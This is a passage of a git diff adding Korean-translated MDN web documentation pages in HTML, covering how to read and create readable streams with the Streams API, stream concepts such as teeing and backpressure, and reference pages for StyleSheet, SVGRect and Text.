{{domxref("Body")}} 믹스인은 {{domxref("Body.body","body")}} 속성을 포함하고 있습니다. 그리고 이 {{domxref("Body.body","body")}} 속성은 {{domxref("Body.body","body")}}의 내용을 Readable 스트림으로 노출시키는 간단한 getter 입니다. 이 {{domxref("Body")}} 믹스인은 {{domxref("Request")}}와 {{domxref("Response")}} 인터페이스로부터 구현 되며, 따라서 두 경우 모두 사용 할수 있습니다. 다만 Response body의 스트림을 사용하는 것이 조금더 명확합니다.

+ +

우리의 Simple stream pump예시에서 보여주듯(see it live also), Readable 스트림을 노출시키기 위해서는 단지 Response의 body 속성에 접근하기만 하면 됩니다.

+ +
// 오리지널 이미지를 Fetch 함
+fetch('./tortoise.png')
+// body 를 ReadableStream으로 가공함
+.then(response => response.body)
+
+ +

이것은 우리에게 {{domxref("ReadableStream")}}  객체를 제공해 줍니다.

+ +

Attaching a reader

+ +

이제 우리는 스트림화된 body를 가지고 있으며, 이 스트림을 읽기 위해서는 리더기를 붙여야 합니다. 이 작업은 {{domxref("ReadableStream.getReader()")}} 메서드를 사용하여 처리합니다.

+ +
// 오리지널 이미지를 Fetch 함
+fetch('./tortoise.png')
+// body 를 ReadableStream으로 가공함
+.then(response => response.body)
+.then(body => {
+  const reader = body.getReader();
+ +

이 메서드를 실행하면 리더기가 생성되고 이 리더기를 스트림에 고정(locks) 시킵니다. {{domxref("ReadableStreamDefaultReader.releaseLock()")}} 메서드를 사용하는등 이 고정(locks)을 풀기전 까지는(released), 그 어떤 다른 리더기들도 이 스트림을 읽을수 없습니다. 

+ +

또한 response.body 는 동기이므로 굳이 프로미스를 사용할 필요가 없으며, 위의 예시를 한번의 스텝으로 줄일수 있다는 점에 주목해 주십시요

+ +
// 오리지널 이미지를 Fetch 함
+  fetch('./tortoise.png')
+  // body 를 ReadableStream으로 가공함
+  .then(response => {
+    const reader = response.body.getReader();
+ +

Reading the stream

+ +

이제 우리는 우리의 리더기를 추가하였습니다. 우리는 리더기의 {{domxref("ReadableStreamDefaultReader.read()")}} 메서드를 사용하여 스트림으로 부터 data chunk들을 읽을수 있게 되었습니다.

+ +

정확하게는 이 메서드는 각 스트림으로부터 하나의  data chunk를 읽습니다. 그리고 이러한 data chunk는 우리가 원하는대로 사용할 수 있습니다.

+ +

예를 들어 우리의 Simple stream pump example에서는 {{domxref("ReadableStreamDefaultReader.read()")}} 사용하여 Data Chunk를 새로운 커스텀 ReadableStream에 집어 넣고 있습니다. 그리고 만약 읽을수 있는 다음 Data Chunk가 있다면, {{domxref("ReadableStreamDefaultReader.read()")}} 를 다시 사용하여 다음 Data Chunk를 커스텀 ReadableStream에 집어 넣습니다. 더이상 읽을수 있는 Data Chunk가 없다면, 그 커스텀 ReadableStream(우리는 이 새로운 Readable 스트림에 대해 다음 섹션에서 다 자세히 살펴 볼것 입니다.)을 통해 새로운 {{domxref("Response")}} 객체를 생성합니다. 그 다음 이 {{domxref("Response")}} 객체를 {{domxref("Blob")}} 형태로 변환하고  이 {{domxref("Blob")}} 으로 부터 {{domxref("URL.createObjectURL()")}} 메서드를 사용하여 URL 객체를 생성합니다. 마지막으로 이 URL객체를 {htmlelement("img")}} 에 적용하여 이미지를 보여줌으로서 fetch된 오리지널 이미지를 효과적으로 복사하는 것입니다.

+ +
  return new ReadableStream({
+    start(controller) {
+      return pump();
+      function pump() {
+        // 스트림의 다음 Chunk에 대한 액세스를 제공하는 psomise를 리턴한다.
+        return reader.read().then(({ done, value }) => {
+          // 더이상 읽을 데이터 조각이 없을때 스트림을 닫는다
+          if (done) {
+              controller.close();
+              return;
+          }
+          // 데이터 조각을 새로운 스트림(새로 만드는 커스텀 스트림)에 넣는다.
+          controller.enqueue(value);
+          return pump();
+        });
+      }
+    }
+  })
+})
+.then(stream => new Response(stream))
+.then(response => response.blob())
+.then(blob => URL.createObjectURL(blob))
+.then(url => console.log(image.src = url))
+.catch(err => console.error(err));
+ +

어떻게 read() 가 사용되었는지 자세히 들여다 봅시다. 위 예제의 pump() 함수는 제일먼저 read() 를 실행하였습니다. 그리고 이 read() 는 스트림으로부터 읽어 들인 내용의 결과를 { done, value } 의 형식으로 가지고 있는 pomise를 반환합니다. 

+ +
return reader.read().then(({ done, value }) => {
+ +

스트림으로부터 읽어 들인 내용은 아래 3가지 타입이 있습니다. 

+ + + +

다음으로 우리는 done 이 true 인지 아닌지 확인해 봐야 합니다.

+ +

만약 done 이 true 라면 더이상 읽어들일 chunk가 없다는 뜻입니다. 따라서 우리는 함수 밖으로 빠져 나가야 하고 {{domxref("ReadableStreamDefaultController.close()")}} 를 통하여 커스텀 스트림을 닫아야 합니다. 

+ +
if (done) {
+  controller.close();
+  return;
+}
+ +
+

Note: 여기서 사용한 close() 는 새로만든 커스텀 스트림의 일부이며 오리지널 스트림의 것이 아닙니다. 커스텀 스트림에 대해서는 다음섹션에서 더 자세히 살펴 볼 예정입니다. 

+
+ +

만약 done 이 true 가 아니라면, 우선 읽어 드린 Chunk를 처리하고 (value 속성), pump() 함수를 재귀적으로 다시 호출 함으로서 다음 chunk를 읽어 드립니다. 

+ +
// 다음 data chunk를 새로운 readable 스트림에 집어 넣음
+controller.enqueue(value);
+return pump();
+ +

다음은 스트림 리더기를 사용할때의 기본적인 패턴 입니다.

+ +
    +
  1. 스트림을 읽음으로서 실행되는 함수를 작성합니다.
  2. +
  3. 만약 읽을수 있는 스트림이 더이상 없다면, 함수를 리턴 시킵니다.
  4. +
  5. 만약 읽을수 있는 스트림이 아직 남아 있다면, 우선 읽어 드린 chunk를 처리하고, 다음 chunk를 읽어 드리기 위해 함수를 다시 실행합니다. 
  6. +
  7. 더이상 읽을수 있는 스트림이 없을때까지 함수를 재귀적으로 실행하고, 최종적으로 읽을수 있는 스트림이 없을경우 2번 Step을 따릅니다. 
  8. +
+ +

Creating your own custom readable stream

+ +

두번째 파트에서 사용했던 Simple stream pump example 예제에서 우리는 fetch body로 부터 읽어드린 이미지에 대한 data를 우리가 자체적으로 만든 커스텀 readable 스트림에 다시 옮겨 심었습니다. 그럼 어떻게 스트림을자체적으로 만들수 있을까요? 우리는 ReadableStream()생성자 함수를 통해 커스텀 readable 스트림을 만들 수 있습니다. 

+ +

The ReadableStream() constructor

+ +

Fetch와 같이 브라우저에서 스트림을 제공할때 그것을 읽어 들이는 일은 쉬운 일입니다. 그러나 때때로 새로운 커스텀 스트림을 만들고 이것을 data chunk들로 채워넣어야 하는 경우가 있습니다. {{domxref("ReadableStream.ReadableStream","ReadableStream()")}}을 아래의 구문과 같이 사용함으로서 이것을 가능하게 할수 있습니다. 구문이 처음에는 다소 복잡해 보일수 있습니다만, 실제로는 그렇게 복잡하지 않습니다. 

+ +

기본적인 핵심 구문은 다음과 같습니다.

+ +
const stream = new ReadableStream({
+  start(controller) {
+
+  },
+  pull(controller) {
+
+  },
+  cancel() {
+
+  },
+  type,
+  autoAllocateChunkSize
+}, {
+  highWaterMark,
+  size()
+});
+ +

생성자 함수는 두개의 객체를 인자로 받습니다. 첫번째 인자는 필수 값이며, 이것은 우리가 읽어 들일 기본 소스의 모델을 JavasScrip 적으로 생성 합니다.  두번째 인자는 옵션 값이며, 이것은 커스텀 스트림에 사용할 커스텀 queuing 전략을 수립하게 합니다. 두번째 인자의 경우 매우 드물게 설정하는 값이므로 지금은 첫번째 인자에 집중하도록 하겠습니다.

+ +

첫번째 인자인 객체는 5개의 맴버를 가질수 있으며, 제일 첫번째 맴버만 필수 입니다.

+ +
    +
  1. start(controller) — ReadableStream 이 생성되자 마자 딱 한번만 호출 되는 메서드 입니다. 이 메서드에는 스트림을 기능을 설정할 수 있는 코드가 포함되어야 합니다. 예를 들면 데이터 생성을 시작한다거나 아니면 소스에 접근하여 데이터를 가져오는 코드등이 들어가게 될것입니다.
  2. +
  3. pull(controller) — 이 메서드는 스트림 내부의 queue가 가득 찰때까지 반복적으로 호출 됩니다. 더 많은 청크가 큐에 들어갈 때 스트림을 제어하는 ​​데 사용할 수 있습니다.
  4. +
  5. cancel() — 이 메서드는 스트림이 캔슬될때 호출 됩니다 (예를 들어 {domxref("ReadableStream.cancel()")}} 이 호출 되었을때). 메서드의 내용은 스트림 소스에 대한 액세스를 해제하는 데 필요한 모든 것을 수행해야합니다.
  6. +
  7. type and autoAllocateChunkSize —  스트림이 바이트 스트림임을 나타 내기 위해 사용됩니다. 바이트 스트림은 목적과 사용 사례가 일반 (기본) 스트림과 약간 다르므로 향후 자습서에서 별도로 다룰 것입니다. 또한 아직 어느 곳에서도 구현되지 않았습니다.
  8. +
+ +

simple example code 를 다시한번 살펴보면, ReadableStream() 생성자가 start() 메서드 단 하나만 가지고 있다는 것을 알아챌수 있을 것 입니다. 이 start() 메서드 fetch된 스트림으로 부터 데이터를 읽어 들이고 있습니다.

+ +
  return new ReadableStream({
+    start(controller) {
+      return pump();
+      function pump() {
+        return reader.read().then(({ done, value }) => {
+          // 더이상 읽을수 있는 data가 없다면 스트림을 닫는다
+          if (done) {
+            controller.close();
+            return;
+          }
+          // 데이터 조각을 새로운 스트림(새로 만드는 커스텀 스트림)에 넣는다.
+          controller.enqueue(value);
+          return pump();
+        });
+      }
+    }
+  })
+})
+
+ +

ReadableStream controllers

+ +

ReadableStrem() 생성자에 인자로 전달된 객체안의 start()pull() 메서드에 controller라는 인자가 전달되는 것을 볼수 있습니다. 이것은 {{domxref("ReadableStreamDefaultController")}} 클래스의 인스턴스이며 우리의 스트림을 제어하는데 사용 됩니다.

+ +

우리의 예제에서, 우리는 fetch된 body로부터 chunk의 값을 읽은 뒤 그 값을 커스텀 스트림에 집어 넣기 위해 Controller의 {{domxref("ReadableStreamDefaultController.enqueue","enqueue()")}} 메서드를 상용하고 있습니다.

+ +

또한, fetch된 body를 읽어 들이는 것이 끝나면 컨트롤러의 {{domxref("ReadableStreamDefaultController.close","close()")}}를 사용하여 커스텀 스트림을 닫습니다. 이때 이미 삽입된 chunk들은 여전히 읽을수 있지만 새로운 chunk는 집어 넣을수 없습니다. 그리고 읽는 것이 모두 긑나면 스트림은 닫힙니다. 

+ +

Reading from custom streams

+ +

우리의 Simple stream pump example 에서, 우리는 {domxref("Response.Response", "Response")}} 생성자 함수에 우리가 만든 커스텀 readable 스트림을 인자로 전달하였으며 그렇게 생성된 response 인스턴스를 blob() 으로 사용 하였습니다.

+ +
.then(stream => new Response(stream))
+.then(response => response.blob())
+.then(blob => URL.createObjectURL(blob))
+.then(url => console.log(image.src = url))
+.catch(err => console.error(err));
+ +

그러나 커스텀 스트림은 여전히 ReadableStream 인스턴스입니다. 즉, 우리는 여전히 리더기를 커스텀 스트림에 붙일수 있다는 뜻입니다. 예를 들어 Simple random stream demo (see it live also) 를 살펴 보십시요. 이 예제에서는 커스텀 스트림을 생성한후, 랜덤 문자열을 생성된 커스텀 스트림에 집어 넣습니다. 그 후 문자열 생성 중지 버튼을 눌렀을때 커스텀 스트림에 집어 넣었던 랜덤 문자열을 커스텀 스트림으로 부터 다시 읽어 옵니다.

+ +

Note: {{domxref("FetchEvent.respondWith()")}} 메서드를 사용하여 스트림을 다루기 위해서는 스트림에 삽입된 내용이 만드시 {{jsxref("Uint8Array")}} 이어야 합니다. ({{domxref("TextEncoder")}} 등을 사용)

+ +

 Simple random stream demo (see it live also) 에서 커스텀 스트림 생성자 함수는 start() 메서드를 가지고 있으며, 이 메서드는 {{domxref("WindowTimers.setInterval()")}} 을 사용하여 매초마다 새로운 랜덤 문자열을 생성하고 이 문자열을 {{domxref("ReadableStreamDefaultController.enqueue()")}} 를 사용하여 스트림안에 넣습니다. 만약 문자열 생성 중지 버튼을 누른다면 이 interval 이 취소됨과 동시에 readStream() 함수를 호출하여 스트림으로 부터 스트림에 넣은 문자열 전부를 읽어 드립니다. 이때 스트림에 chunk data(여기서는 랜덤 문자열)를 넣는 것도 중단 했기때문에 스트림을 닫습니다. 

+ +
const stream = new ReadableStream({
+  start(controller) {
+    interval = setInterval(() => {
+      let string = randomChars();
+      // Add the string to the stream
+      controller.enqueue(string);
+      // show it on the screen
+      let listItem = document.createElement('li');
+      listItem.textContent = string;
+      list1.appendChild(listItem);
+    }, 1000);
+    button.addEventListener('click', function() {
+      clearInterval(interval);
+      readStream();
+      controller.close();
+    })
+  },
+  pull(controller) {
+    // We don't really need a pull in this example
+  },
+  cancel() {
+    // This is called if the reader cancels,
+    // so we should stop generating strings
+    clearInterval(interval);
+  }
+});
+ +

스트림에 넣은 문자열 전부를 읽고 다루기 위해 만든 커스텀 함수인 readStream() 함수를 살펴보면, 우선 {{domxref("ReadableStream.getReader()")}}를 사용하여 리더기를 스트림에 고정시키는 것을 볼수 있습니다. 그 후 앞서 살펴봤던 패턴과 마찬가지로  read() 를 사용하여 chunk를 읽어 들이고  done 이 true 인지 아닌지 확인 합니다. 만약 true 이면  readStream() 함수의 프로세스를 끝내버리고 그렇지 않으면 읽어드린 chunk를 후속처리한 후  read() 를 재귀적으로 실행합니다.

+ +
function readStream() {
+  const reader = stream.getReader();
+  let charsReceived = 0;
+
+  // read() returns a promise that resolves
+  // when a value has been received
+  reader.read().then(function processText({ done, value }) {
+    // Result objects contain two properties:
+    // done  - true if the stream has already given you all its data.
+    // value - some data. Always undefined when done is true.
+    if (done) {
+      console.log("Stream complete");
+      para.textContent = result;
+      return;
+    }
+
+    charsReceived += value.length;
+    const chunk = value;
+    let listItem = document.createElement('li');
+    listItem.textContent = 'Read ' + charsReceived + ' characters so far. Current chunk = ' + chunk;
+    list2.appendChild(listItem);
+
+    result += chunk;
+
+    // Read some more, and call this function again
+    return reader.read().then(processText);
+  });
+}
+ +

Closing and cancelling streams

+ +

우리는 이미 앞서 스트림을 닫는 메서드인 {{domxref("ReadableStreamDefaultController.close()")}} 를 살펴보았습니다. 이미 언급했다 시피, 스트림이 닫혔다 하더라고 이미 들어가 있는 chunk는 읽을 수 있습니다.

+ +

만약 스트림을 완벽하게 제거하고 삽입된 모든 chunk를 날리고 싶다면, {{domxref("ReadableStream.cancel()")}} 또는 {{domxref("ReadableStreamDefaultReader.cancel()")}} 메서드를 사용 하면 됩니다.

+ +

Teeing a stream

+ +

때로는 하나의 스트림을 동시 두번 읽어들여야 할 경우가 있습니다. {{domxref("ReadableStream.tee()")}} 메서드가 이를 가능하게 합니다. {{domxref("ReadableStream.tee()")}} 메서드는 두개의 독립적인 카피된 스트림을 가지고 있는 배열을 제공합니다. 이 카피된 두개의 스트림은 두개의 독립적인 리더기로 각각 읽어 들일 수 있습니다.

+ +

이런 경우는 아마  ServiceWorker 안에서 필요할 것입니다. 만약 서버로부터 fetch된 response를 브라우저에도 전달하고 서비스 워커 캐시에도 전달해야 하다면 하나의 스트림에 대해 두개의 카피본이 필요 할 것입니다. 왜냐하면 response body (Readablestream)는 단 한번만 사용될 수 있고 하나의 Readablestream은 하나의 리더기만 붙을수 있기 때문입니다. 

+ +

위 내용에 대한 예제를 Simple tee example (see it live also)에서 살펴 볼수 있습니다. 이 예제는 랜덤 문자열 생성 버튼에 대한 이벤트가 없다는 점과, 이 예제에서의 스트림은 teed되어 두개의 스트림이 두개의 리더기로 읽어진다는 점만 제외하면 앞서 살펴본 Simple random stream 예제와 매우 유사하게 동작합니다.

+ +
function teeStream() {
+    const teedOff = stream.tee();
+    readStream(teedOff[0], list2);
+    readStream(teedOff[1], list3);
+  }
+ +

Pipe chains

+ +

One very experimental feature of streams is the ability to pipe streams into one another (called a pipe chain). This involves two methods — {{domxref("ReadableStream.pipeThrough()")}}, which pipes a readable stream through a writer/reader pair to transform one data format into another, and {{domxref("ReadableStream.pipeTo()")}}, which pipes a readable stream to a writer acting as an end point for the pipe chain.

+ +

This functionality is at a very experimental stage and is subject to change, so we have no explored it too deeply as of yet.

+ +

We have created an example called Unpack Chunks of a PNG (see it live also) that fetches an image as a stream, then pipes it through to a custom PNG transform stream that retrieves PNG chunks out of a binary data stream.

+ +
// Fetch the original image
+fetch('png-logo.png')
+// Retrieve its body as ReadableStream
+.then(response => response.body)
+// Create a gray-scaled PNG stream out of the original
+.then(rs => logReadableStream('Fetch Response Stream', rs))
+.then(body => body.pipeThrough(new PNGTransformStream()))
+.then(rs => logReadableStream('PNG Chunk Stream', rs))
+ +

Summary

+ +

That explains the basics of “default” readable streams. We’ll explain bytestreams in a separate future article, once they are available in browsers.

diff --git "a/files/ko/web/api/streams_api/\354\273\250\354\205\211/index.html" "b/files/ko/web/api/streams_api/\354\273\250\354\205\211/index.html" new file mode 100644 index 0000000000..9c993b81a3 --- /dev/null +++ "b/files/ko/web/api/streams_api/\354\273\250\354\205\211/index.html" @@ -0,0 +1,115 @@ +--- +title: Streams API 컨셉 +slug: Web/API/Streams_API/컨셉 +translation_of: Web/API/Streams_API/Concepts +--- +
{{apiref("Streams")}}
+ +

The Streams API adds a very useful set of tools to the web platform, providing objects allowing JavaScript to programmatically access streams of data received over the network and process them as desired by the developer. Some of the concepts and terminology associated with streams might be new to you — this article explains all you need to know.

+ +

Readable streams

+ +

A readable stream is a data source represented in JavaScript by a {{domxref("ReadableStream")}} object that flows from an underlying source — this is a resource somewhere on the network or elsewhere on your domain that you want to get data from.

+ +

There are two types of underlying source:

+ + + +

컨The data is read sequentially in small pieces called chunks. A chunk can be a single byte, or it can be something larger such as a typed array of a certain size. A single stream can contain chunks of different sizes and types.

+ +

+ +

The chunks placed in a stream are said to be enqueued — this means they are waiting in a queue ready to be read. An internal queue keeps track of the chunks that have not yet been read (see the Internal queues and queueing strategies section below).

+ +

The chunks inside the stream are read by a reader — this processes the data one chunk at a time, allowing you to do whatever kind of operation you want to do on it. The reader plus the other processing code that goes along with it is called a consumer.

+ +

There is also a construct you’ll use called a controller — each reader has an associated controller that allows you to control the stream (for example, to cancel it if wished).

+ +

Only one reader can read a stream at a time; when a reader is created and starts reading a stream (an active reader), we say it is locked to it. If you want another reader to start reading your stream, you typically need to cancel the first reader before you do anything else (although you can tee streams, see the Teeing section below)

+ +

Note that there are two different types of readable stream. As well as the conventional readable stream there is a type called a byte stream — this is an extended version of a conventional stream for reading underlying byte sources (otherwise known as BYOB, or “bring your own buffer”) sources. These allow streams to be read straight into a buffer supplied by the developer, minimizing the copying required. Which underlying stream (and by extension, reader and controller) your code will use depends on how the stream was created in the first place (see the {{domxref("ReadableStream.ReadableStream()")}} constructor page).

+ +
+

Important: Byte streams are not implemented anywhere as yet, and questions have been raised as to whether the spec details are in a finished enough state for them to be implemented. This may change over time.

+
+ +

You can make use of ready-made readable streams via mechanisms like a {{domxref("Response.body")}} from a fetch request, or roll your own streams using the {{domxref("ReadableStream.ReadableStream()")}} constructor.

+ +

Teeing

+ +

Even though only a single reader can read a stream at once, it is possible to split a stream into two identical copies, which can then be read by two separate readers. This is called teeing.

+ +

In JavaScript, this is achieved via the {{domxref("ReadableStream.tee()")}} method — it outputs an array containing two identical copies of the original readable stream, which can then be read independently by two separate readers.

+ +

You might do this for example in a ServiceWorker if you want to fetch a response from the server and stream it to the browser, but also stream it to the ServiceWorker cache. Since a response body cannot be consumed more than once, and a stream can't be read by more than one reader at once, you’d need two copies to do this.

+ +

+ +

Writable streams

+ +

A writable stream is a destination into which you can write data, represented in JavaScript by a {{domxref("WritableStream")}} object. This serves as an abstraction over the top of an underlying sink — a lower-level I/O sink into which raw data is written.

+ +

The data is written to the stream via a writer, one chunk at a time. A chunk can take a multitude of forms, just like the chunks in a reader. You can use whatever code you like to produce the chunks ready for writing; the writer plus the associated code is called a producer.

+ +

When a writer is created and starts writing to a stream (an active writer), it is said to be locked to it. Only one writer can write to a writable stream at one time. If you want another writer to start writing to your stream, you typically need to abort it before you then attach another writer to it.

+ +

An internal queue keeps track of the chunks that have been written to the stream but not yet been processed by the underlying sink.

+ +

There is also a construct you’ll use called a controller — each writer has an associated controller that allows you to control the stream (for example, to abort it if wished).

+ +

+ +

You can make use of writable streams using the {{domxref("WritableStream.WritableStream()")}} constructor. These currently have very limited availability in browsers.

+ +

Pipe chains

+ +

The Streams API makes it possible to pipe streams into one another (or at least it will do when browsers implement the relevant functionality) using a structure called a pipe chain. There are two methods available in the spec to facilitate this:

+ + + +

The start of the pipe chain is called the original source, and the end is called the ultimate sink.

+ +

+ +
+

Note: This functionality isn't fully thought through yet, or available in many browsers. At some point the spec writers hope to add something like a TransformStream class to make creating transform streams easier.

+
+ +

Backpressure

+ +

An important concept in streams is backpressure — this is the process by which a single stream or a pipe chain regulates the speed of reading/writing. When a stream later in the chain is still busy and isn't yet ready to accept more chunks, it sends a signal backwards through the chain to tell earlier transform streams (or the original source) to slow down delivery as appropriate so that you don't end up with a bottleneck anywhere.

+ +

To use backpressure in a ReadableStream, we can ask the controller for the chunk size  desired by the consumer by querying the {{domxref("ReadableStreamDefaultController.desiredSize")}} attribute on the controller. If it is too low, our ReadableStream can tell its underlying source to stop sending data, and we backpressure along the stream chain.

+ +

If later on the consumer again wants to receive data, we can use the pull method in the stream creation to tell our underlying source to feed our stream with data.

+ +

Internal queues and queuing strategies

+ +

As mentioned earlier, the chunks in a stream that have not yet been processed and finished with are kept track of by an internal queue.

+ + + +

Internal queues employ a queuing strategy, which dictates how to signal backpressure based on the internal queue state.

+ +

In general, the strategy compares the size of the chunks in the queue to a value called the high water mark, which is the largest total chunk size that the queue can realistically manage.

+ +

The calculation performed is

+ +
high water mark - total size of chunks in queue = desired size
+ +

The desired size is the size of chunks the stream can still accept to keep the stream flowing but below the high water mark in size. After the calculation is performed, chunk generation will be slowed down/sped up as appropriate to keep the stream flowing as fast as possible while keeping the desired size above zero. If the value falls to zero (or below in the case of writable streams), it means that chunks are being generated faster than the stream can cope with, which results in problems.

+ +
+

Note: What happens in the case of zero or negative desired size hasn’t really been defined in the spec so far. Patience is a virtue.

+
+ +

As an example, let's take a chunk size of 1, and a high water mark of 3. This means that up to 3 chunks can be enqueued before the high water mark is reached and backpressure is applied.

diff --git a/files/ko/web/api/stylesheet/index.html b/files/ko/web/api/stylesheet/index.html new file mode 100644 index 0000000000..53e9229461 --- /dev/null +++ b/files/ko/web/api/stylesheet/index.html @@ -0,0 +1,61 @@ +--- +title: StyleSheet +slug: Web/API/StyleSheet +translation_of: Web/API/StyleSheet +--- +
{{APIRef("CSSOM")}}
+ +

An object implementing the StyleSheet interface represents a single style sheet. CSS style sheets will further implement the more specialized {{domxref("CSSStyleSheet")}} interface.

+ +

Properties

+ +
+
{{domxref("StyleSheet.disabled")}}
+
Is a {{domxref("Boolean")}} representing whether the current stylesheet has been applied or not.
+
{{domxref("StyleSheet.href")}} {{readonlyInline}}
+
Returns a {{domxref("DOMString")}} representing the location of the stylesheet.
+
{{domxref("StyleSheet.media")}} {{readonlyInline}}
+
Returns a {{domxref("MediaList")}} representing the intended destination medium for style information.
+
{{domxref("StyleSheet.ownerNode")}} {{readonlyInline}}
+
Returns a {{domxref("Node")}} associating this style sheet with the current document.
+
{{domxref("StyleSheet.parentStyleSheet")}} {{readonlyInline}}
+
Returns a {{domxref("StyleSheet")}} including this one, if any; returns null if there aren't any.
+
{{domxref("StyleSheet.title")}} {{readonlyInline}}
+
Returns a {{domxref("DOMString")}} representing the advisory title of the current style sheet.
+
{{domxref("StyleSheet.type")}}{{readonlyInline}}
+
Returns a {{domxref("DOMString")}} representing the style sheet language for this style sheet.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSSOM', '#stylesheet', 'StyleSheet') }}{{ Spec2('CSSOM') }}No change from {{ SpecName('DOM2 Style') }}.
{{ SpecName('DOM2 Style', 'stylesheets.html#StyleSheets-StyleSheet', 'StyleSheet') }}{{ Spec2('DOM2 Style') }}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.StyleSheet")}}

+ +

See also

+ + diff --git a/files/ko/web/api/svgrect/index.html b/files/ko/web/api/svgrect/index.html new file mode 100644 index 0000000000..c006db08c1 --- /dev/null +++ b/files/ko/web/api/svgrect/index.html @@ -0,0 +1,90 @@ +--- +title: SVGRect +slug: Web/API/SVGRect +translation_of: Web/API/SVGRect +--- +
{{APIRef("SVG")}}
+ +

SVGRect는 직사각형을 의미합니다. 직사각형은 최소 x값과 최소 y값, 그리고 양수로 제한되는 폭과 높이를 식별하는 x와 y 좌표 쌍으로 구성됩니다.

+ +

SVGRect 오브젝트는 읽기 전용으로 지정될 수 있습니다. 이 말은 오브젝트를 수정하려는 시도가 있을 때 exception을 발생시킵니다.

+ +

{{InheritanceDiagram(600, 140)}}

+ +

프로퍼티

+ +

이 인터페이스는 부모로 부터 프로퍼티를 상속받습니다. {{domxref("SVGGeometryElement")}}.

+ +
+
{{domxref("SVGRect.x")}} {{ReadOnlyInline}}
+
이 좌표의 정확한 효과는 각 element에 따라 다릅니다. 속성을 지정하지 않으면 0 값이 지정된 것처럼 효과가 나타납니다.
+
{{domxref("SVGRect.y")}} {{ReadOnlyInline}}
+
이 좌표의 정확한 효과는 각 element에 따라 다릅니다. 속성을 지정하지 않으면 0 값이 지정된 것처럼 효과가 나타납니다.
+
{{domxref("SVGRect.width")}} {{ReadOnlyInline}}
+
이것은 사각형의 너비를 나타냅니다. 음수 값은 에러가 발생합니다. 0 값은 element의 렌더링을 불가능하게 합니다. 
+
{{SVGAttr("SVGRect.height")}} {{ReadOnlyInline}}
+
이것은 사각형의 높이를 나타냅니다. 음수 값은 에러가 발생합니다. 0 값은 element의 렌더링을 불가능하게 합니다. 
+
+ +

Exceptions on setting: A {{domxref("DOMException")}} with the code NO_MODIFICATION_ALLOWED_ERR 는 읽기 전용 속성을 바꾸려 할 때 발생합니다.

+ +

메소드

+ +

이 인터페이스는 부모로 부터 프로퍼티를 상속받습니다. {{domxref("SVGGeometryElement")}}.

+ +

+ +

rect 인터페이스의 간단한 사용법입니다. (매 클릭마다 rect 인터페이스의 색을 변경합니다.)

+ +

SVG content

+ +
<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
+  <rect width="300" height="100" id="myrect" onclick="doRectClick()"
+      style="fill:rgb(0,0,255);stroke-width:1;stroke:rgb(0,0,0)" />
+  <text x="60" y="40" fill="white" font-size="40"
+      onclick="doRectClick();">Click Me</text>
+</svg>
+
+ +

JavaScript content

+ +
function doRectClick(){
+  var myrect = document.getElementById('myrect');
+  var r = Math.floor(Math.random() * 255);
+  var g = Math.floor(Math.random() * 255);
+  var b = Math.floor(Math.random() * 255);
+  myrect.style.fill = 'rgb(' + r + ', ' + g + ' , ' + b + ')';
+}
+
+ +

Click the rect.

+ +

{{EmbedLiveSample('Example', '', '', '', 'Web/API/SVGRect')}}

+ +

상세

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("SVG2", "shapes.html#InterfaceSVGRectElement", "SVGRectElement")}}{{Spec2("SVG2")}}Changed the inheritance from {{domxref("SVGElement")}} to {{domxref("SVGGeometryElement")}} and removed the implemented interfaces {{domxref("SVGTests")}}, {{domxref("SVGLangSpace")}}, {{domxref("SVGExternalResourcesRequired")}}, {{domxref("SVGStylable")}}, and {{domxref("SVGTransformable")}}.
{{SpecName("SVG1.1", "shapes.html#InterfaceSVGRectElement", "SVGRectElement")}}{{Spec2("SVG1.1")}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("api.SVGRect")}}

diff --git a/files/ko/web/api/text/index.html b/files/ko/web/api/text/index.html new file mode 100644 index 0000000000..7d529ce578 --- /dev/null +++ b/files/ko/web/api/text/index.html @@ -0,0 +1,117 @@ +--- +title: Text +slug: Web/API/Text +tags: + - API + - DOM + - Interface + - Reference +translation_of: Web/API/Text +--- +
{{ApiRef("DOM")}}
+ +

Text 인터페이스는 {{domxref("Element")}} 또는 {{domxref("Attr")}}의 문자형 콘텐츠를 표현합니다.

+ +

요소의 콘텐츠에 마크업이 없을 경우 해당 요소는 요소의 텍스트를 담은 Text 를 구현한 단일 자식을 갖습니다. 반면에 요소에 마크업이 있을 경우 자식을 구성하는 정보 항목과 Text 노드로 파싱됩니다.

+ +

새로운 문서는 각각의 텍스트 블록마다 하나의 Text 노드를 갖습니다. 문서의 콘텐츠가 변경됨에 따라 새로운 Text 노드가 생성될 수 있습니다. {{domxref("Node.normalize()")}} 메서드는 인접한 Text 객체에 대한 각각의 텍스트 블록을 다시 단일 노드로 병합합니다.

+ +

{{InheritanceDiagram}}

+ +

생성자

+ +
+
{{domxref("Text.Text", "Text()")}} {{experimental_inline}}
+
제공한 매개변수를 텍스트 콘텐츠로 하는 Text 노드를 반환합니다.
+
+ +

속성

+ +

부모인 {{domxref("CharacterData")}}로부터 속성을 상속합니다.

+ +
+
{{domxref("Text.isElementContentWhitespace")}} {{readonlyInline}}{{ obsolete_inline() }}
+
+

텍스트 노드가 공백만 포함하는지 여부를 나타내는 {{domxref("Boolean")}} 플래그를 반환합니다.

+
+
{{domxref("Text.wholeText")}} {{readonlyInline}}
+
이 {{domxref("Node")}}와 논리적으로 인접한 모든 Text 노드의 텍스트를 문서 내의 순서대로 이어붙인 {{domxref("DOMString")}}을 반환합니다.
+
{{domxref("Text.assignedSlot")}} {{readonlyinline}}
+
이 요소와 연관된 {{domxref("HTMLSlotElement")}} 객체를 반환합니다.
+
+ +

Slotable로부터 포함된 속성

+ +

Text 인터페이스는 {{domxref("Slotable")}} 믹스인이 정의하는 다음의 속성을 포함합니다.

+ +
+
{{domxref("Slotable.assignedSlot")}} {{readonlyInline}}
+
노드가 삽입된 {{htmlelement("slot")}}을 나타내는 {{domxref("HTMLSlotElement")}}를 반환합니다.
+
+ +

메서드

+ +

부모인 {{domxref("CharacterData")}}로부터 메서드를 상속합니다.

+ +
+
+ +
+
{{domxref("Text.replaceWholeText")}} {{ obsolete_inline() }}
+
현재 노드와 논리적으로 인접한 모든 노드의 텍스트를 지정한 텍스트로 대체합니다.
+
+ +
+
{{domxref("Text.splitText")}}
+
